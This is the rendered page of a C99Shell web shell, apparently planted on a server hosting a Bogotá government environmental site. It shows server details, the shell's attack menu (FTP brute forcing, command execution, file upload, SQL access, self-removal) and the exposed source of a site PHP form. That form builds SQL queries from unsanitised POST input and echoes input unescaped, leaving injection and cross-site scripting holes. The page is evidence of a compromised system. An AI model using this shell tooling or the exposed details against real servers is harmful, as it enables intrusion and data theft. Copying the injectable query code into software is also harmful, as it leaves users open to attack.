!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\AmbienteBogota\ambientebogota.gov.co\actores\Secretariaambiente\   drwxrwxrwx
Free 3.24 GB of 39.52 GB (8.2%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     select_adicionar_participantes.php (7.99 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Documento sin t&iacute;tulo</title>
<script src="js/jquery-1.4.2.js" type="text/javascript"></script>
<script type="text/javascript">
function showgenero(str)
{
if (str=="")
{
document.getElementById("listado").innerHTML="";
return;
}
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
else
{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("listado").innerHTML=xmlhttp.responseText;
}
}
//xmlhttp.open("GET","getuser.php?q="+str,true);
xmlhttp.open("GET","?q="+str,true);
xmlhttp.send();
}
</script>
<center>
<table border="1">
<?php
$link
=mysql_connect($server,$dbusername,$dbpassword);
$select=mysql_select_db($db_name) or die('No hay BD');
$cadena="select * from participantes;";
$sql=mysql_query($cadena);
?>
<!-- <tr><td>
<?php
/*
        echo "<form name='cons' method='POST'>";
        echo "Consultar Instancia"."<BR><BR>";
        echo "Nombre Instancia de participaci&oacute;n: " . "<input type='text' name='instanpart' id='instanpart1'> <BR><BR>";
        echo "<textarea name='comentarios' rows='10' cols='30' value='Integrantes: ". $solucionB."'>"."Integrantes: ". $solucionB."</textarea>";
        echo "<BR><BR><input type='submit' name='boton' value='Consultar'>";
        echo "<input type='hidden' name='abc' value='1'/>";
        echo "</form>";
*/
?>
</td></tr> -->

<tr><td>
<?php
//*********** Consultar las Instancias
if (!$_POST)
{
   if(
$reg=mysql_fetch_array($sql))
    {
        
        echo 
"<form name='abd' method='POST'>";
        echo 
"Instancia a consultar"."<BR><BR>";
        
//echo "Nombre Instancia de participaci&oacute;n: " . "<input type='text' name='instanpartA' id='instanpartA1' value='" . $instanpartA . "'> <BR><BR>";

        
echo "Nombre Instancia de participaci&oacute;n: " "<select multiple size='1' id='cbogenero2' name='organismo1'>";
        echo 
"<option value=''></option>";
        do
          {
            echo 
"<option value='".$reg['nombrepart']."'>".$reg['nombrepart']."</option>";
          }while(
$reg=mysql_fetch_array($sql));
        echo 
"</select>";
        
        
//echo $j;
        
echo "<BR><BR><input type='submit' name='boton1' value='Consultar Instancia'>";
        echo 
"<input type='hidden' name='abc' value='1'/>";
        echo 
"</form>";
    };
}    
if (isset(
$_POST['boton1']))
  {  
      
$instanpartA=$_POST["organismo1"];
  }    
$cadena="select * from participantes where nombrepart='$instanpartA'";
$sql=mysql_query($cadena);    
//*********** Guardar datos de la Instancia
   
if($reg=mysql_fetch_array($sql))
    {
        echo 
"<form name='abd1' method='POST'>";
        echo 
"Instancia consultada"."<BR><BR>";
        echo 
"Nombre Instancia de participaci&oacute;n: " "<input type='text' name='instanpartA' id='instanpartA1' value='"$instanpartA ."'> <BR><BR>";        
        echo 
"<select multiple size='10' id='cbogenero1' name='organismo[]'>";
        echo 
"<option value=''></option>";
        do
          {
            
$entidadespart explode(","$reg['entidadpart']);
            
$j=count($entidadespart);$j=$j-1;
            for(
$i=0;$i<=$j;$i++) {
            echo 
"<option value='".$entidadespart[$i].", "."'>".$entidadespart[$i].", "."</option>";
            }
          }while(
$reg=mysql_fetch_array($sql));
        echo 
"</select>";
        
//echo $j;
        
echo "<BR><BR><input type='submit' name='boton' value='Seleccionar'>";
        echo 
"<input type='hidden' name='abcc' value='1'/>";
        echo 
"</form>";
    };
?>
</td><td>
<?php
if (isset($_POST['organismo']))
  {  
      
$instanpart=$_POST["instanpartA"];
      
$instancia=$_POST["organismo"];
      
$organismo=implode("",$instancia);
  } else{
        
$organismo "";
    }
    echo 
"<form name='cba' action='' method='POST'>";
    
//echo "<form name='cba' action='' method='POST'>";
    
$solucionA$instanpart;
    
$solucionB$organismo;
    echo 
"Integrantes de la Instancia"."<BR><BR>";
    echo 
"Nombre instancia: " "<input type='text' name='nominstancia' id='nominstancia' value='" $solucionA "'> <BR><BR>";
    echo 
"<textarea name='comentarios' rows='10' cols='30' value='Integrantes: "$solucionB."'>".""$solucionB."</textarea>";
    echo 
"<BR><BR><input type='submit' name='boton2' value='Adicionar Participantes'></form>";
if (isset(
$_POST['boton2']))
  {  
      
$nominstancia=$_POST['nominstancia'];
      
$comentarios=$_POST['comentarios'];
      
$cadena1="select * from reg_organizaciones;";
      
$sql1=mysql_query($cadena1);
    if(
$reg=mysql_fetch_array($sql1))
    {
        
        echo 
"<form name='abc' method='POST'>";
        echo 
"Seleccionar participantes"."<BR><BR>";
        echo 
"Nombre instancia: " "<input type='text' name='instanpart' id='instanpart1' value='".$nominstancia."'><BR><BR>";
        echo 
"<input type='hidden' name='comentarios' id='comentarios' value='".$comentarios."'><BR><BR>";
        echo 
"<select multiple size='10' id='cbogenero1' name='organismo[]'>";
        echo 
"<option value='X'>SELECCIONA</option>";
        do
          {
            echo 
"<option value='".$reg['user']." [".$reg['identi']."][".$reg['web']."] "."'>".$reg['user']." [".$reg['identi']."][".$reg['web']."] "."</option>";
          }while(
$reg=mysql_fetch_array($sql1));
        echo 
"</select>";
        echo 
"<BR><BR>"."Para seleccionar varios, utilizar" "<BR>"."simultáneamente " "la tecla Control y el Botón" "<BR>""izquierdo del mouse.";
        echo 
"<BR><BR><input type='submit' name='boton3' value='Seleccionar'>";
        echo 
"<input type='hidden' name='abc' value='1'/>";
        echo 
"</form>";
    };
  }
      
  
if (isset(
$_POST['boton3']))
  {  
      
$nominstancia1=$_POST["nominstancia"];
      
$comentarios1=$_POST["comentarios"];
      
$nominstanciaA$nominstancia1 $_POST['instanpart'];
      
$nominstancia$nominstancia1 $nominstanciaA;
      
$comentariosAimplode(",",$_POST['organismo']);
      
$comentarios$comentarios1 $comentariosA;
      
//echo $nominstancia1 . $comentarios1;        
      
echo "</td></tr> <tr></table>" 
        
"<form name='forma' action='presentacion_adicionar_instancia.php' method='POST'>".
        
"Nombre instancia: <input type='text' name='nominstancia' id='nominstancia' value='" $nominstancia "'> <BR><BR>".
        
"<input type='hidden' name='instanpart2' id='instanpart2' value='" $nominstancia "'>
        <textarea name='comentarios' rows='10' cols='30' value='" 
$comentarios "'>" $comentarios "</textarea>
        <BR><BR><input type='submit' name='boton4' value='Guardar Adición'></form></body></html>"
;
  }
//**************************** 
/*
$cadena1="select * from reg_organizaciones;";
$sql1=mysql_query($cadena1);

if($reg=mysql_fetch_array($sql1))
    {
        
        echo "<form name='abc' method='POST'>";
        echo "Seleccionar participantes"."<BR><BR>";
        echo "Nombre instancia: " . "<input type='text' name='instanpart' id='instanpart1'> <BR><BR>";
        echo "<select multiple size='10' id='cbogenero1' name='organismo[]'>";
        echo "<option value='X'>SELECCIONA</option>";
        do
          {
            echo "<option value='".$reg['user']." [".$reg['identi']."][".$reg['web']."], "."'>".$reg['user']." [".$reg['identi']."][".$reg['web']."], "."</option>";
          }while($reg=mysql_fetch_array($sql1));
        echo "</select>";
        echo "<BR><BR>"."Para seleccionar varios, utilizar" . "<BR>"."simultáneamente " . "la tecla Control y el Botón" . "<BR>". "izquierdo del mouse.";
        echo "<BR><BR><input type='submit' name='boton3' value='Seleccionar'>";
        echo "<input type='hidden' name='abc' value='1'/>";
        echo "</form>";
};
    
*/
//$comentarios = substr ($comentarios, 0, -2);
//echo $comentarios;
//$cadena1="update participantes set nombrepart='$nominstancia', entidadpart='$comentarios' where nombrepart='$instanpart';";
//$sql1=mysql_query($cadena1);
/*
$sql="";
$cadena="";
$instanpart="";
$_POST["nominstancia"]="";
$_POST["comentarios"]="";
$solucionA="";
$solucionB="";
*/
?>
</td></tr>
<tr></table>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--